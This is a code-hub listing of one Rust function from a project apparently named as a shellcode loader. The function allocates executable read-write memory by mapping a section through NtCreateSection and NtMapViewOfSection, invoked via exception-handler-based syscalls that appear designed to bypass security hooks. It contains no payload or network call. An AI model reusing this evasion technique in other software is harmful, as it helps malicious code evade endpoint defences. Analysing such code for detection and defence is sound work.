MCPcopy Create free account
hub / github.com/echQoQ/RustSL / alloc_mem

Function alloc_mem

src/alloc_mem/section_veh_syscall.rs:32–84  ·  view source on GitHub ↗
(size: usize)

Source from the content-addressed store, hash-verified

30
31#[allow(dead_code)]
32pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
33 // Constants
34 const SECTION_ALL_ACCESS: u32 = 0xF001F;
35 const PAGE_EXECUTE_READWRITE: u32 = 0x40;
36 const SEC_COMMIT: u32 = 0x0800_0000;
37 // ViewUnmap = 2
38 const VIEW_UNMAP: u32 = 2;
39
40 // NtCreateSection via VEH syscall
41 let mut section_handle = HANDLE(0);
42 let mut max_size: i64 = size as i64;
43
44 let create_status = syscall!(
45 "NtCreateSection",
46 NtCreateSection,
47 &mut section_handle as *mut HANDLE,
48 SECTION_ALL_ACCESS,
49 ptr::null_mut(),
50 &mut max_size as *mut i64,
51 PAGE_EXECUTE_READWRITE,
52 SEC_COMMIT,
53 HANDLE(0)
54 );
55
56 if create_status != 0 {
57 return Err(format!("NtCreateSection failed: 0x{:x}", create_status));
58 }
59
60 // NtMapViewOfSection via VEH syscall
61 let mut base_addr: *mut c_void = ptr::null_mut();
62 let mut view_size: usize = size;
63
64 let map_status = syscall!(
65 "NtMapViewOfSection",
66 NtMapViewOfSection,
67 section_handle,
68 HANDLE(-1isize as isize), // Current process pseudo-handle
69 &mut base_addr as *mut *mut c_void,
70 0,
71 size,
72 ptr::null_mut(),
73 &mut view_size as *mut usize,
74 VIEW_UNMAP,
75 0,
76 PAGE_EXECUTE_READWRITE
77 );
78
79 if map_status == 0 && !base_addr.is_null() {
80 Ok(base_addr as *mut u8)
81 } else {
82 Err(format!("NtMapViewOfSection failed: 0x{:x}", map_status))
83 }
84}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected